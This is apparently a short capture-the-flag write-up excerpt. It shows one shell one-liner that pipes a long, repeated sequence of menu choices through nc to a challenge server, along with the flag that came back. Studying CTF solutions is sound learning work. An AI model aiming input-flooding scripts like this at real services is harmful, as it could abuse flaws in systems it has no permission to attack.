Rating: 3.7

```
$ python -c 'print("6\n1\n"+"5\n"*30000+"6\n5\n1\n")' | nc jh2i.com 50031 | grep flag
Here's your flag: flag{it_was_in_fact_you_that_was_really_powerful}
```

Original writeup (https://josephsurin.me/).